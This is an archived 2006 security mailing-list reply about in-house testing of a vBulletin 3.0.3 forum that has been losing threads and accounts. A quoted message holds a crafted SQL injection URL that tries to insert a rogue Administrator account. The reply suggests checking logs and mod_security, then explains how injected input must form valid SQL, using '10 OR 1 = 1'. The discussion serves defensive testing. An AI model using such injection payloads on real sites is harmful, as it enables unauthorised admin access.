Re: testing vulnerable web application.

From: Rogan Dawes (discard@dawes.za.net)
Date: Mon Jun 26 2006 - 12:34:22 EDT


Dave wrote:
> pen testers,
>
> Our companies website hosts a forum program called vBulletin 3.0.3. A
> few recent incidents (i.e. threads vanishing, user accounts deleted) has
> us looking into how this is happening. Our manager wants to solve this
> problem 'in house' so the task was given to me and another employee to
> see if we can figure out how this is happening and stop it.

First approach should be to review the http server logs to see what
unusual parameters are being passed to the server. Obviously, this will
only catch attacks using GET, and not any POST/etc.

What you might to is try to add some tracing into the code, and log all
the parameters that are sent, both via GET and POST. mod_security might
be able to help you here.

[snip]

> USING example :
> admincp/user.php?do=find&orderby=username&limitnumber=[SQL] we crafted
> a URL:
>
>
> http://192.168.6.99:8080/vb-forums/admincp/user.php?do=find&orderby=username&limitnumber=[INSERT%20INTO%20user%20VALUES('12345',%20'6',%20'',%20'0',%20'admintest',%20'5f376e00eb11f00d0262636a5b699501',%20'2006-06-25',%20'nospam@nospam.org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'Administrator',%20'0',%20'1151266933',%20'0',%20'1151272079',%20'1151274578',%20'1151267867',%20'1',%20'10',%20'1',%20'',%20'0',%20'0',%20'0',%20'2135',%20'',%20'0000-00-00',%20'-1',%20'1',%20'',%20'0',%20'0',%20'',%20'0',%20'0',%20'-1',%20'0',%20'0',%20'$Nu')]
>

It looks like you might have left out the actual limitnumber from that
parameter. I'd suggest reading up a bit more about combining the
existing query, and your own when performing SQL injection.

e.g. if the original query looks like

SELECT * FROM TABLE
WHERE limit < [limitnumber]

whatever you supply as [limitnumber] still needs to form a completely
valid SQL statement when it is executed.

e.g. [limitnumber] =

10 OR 1 = 1

would return ALL record from the above table, since the 1=1 will always
return TRUE, "overriding" the "limit < 10" part

Regards,

Rogan

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:10 EDT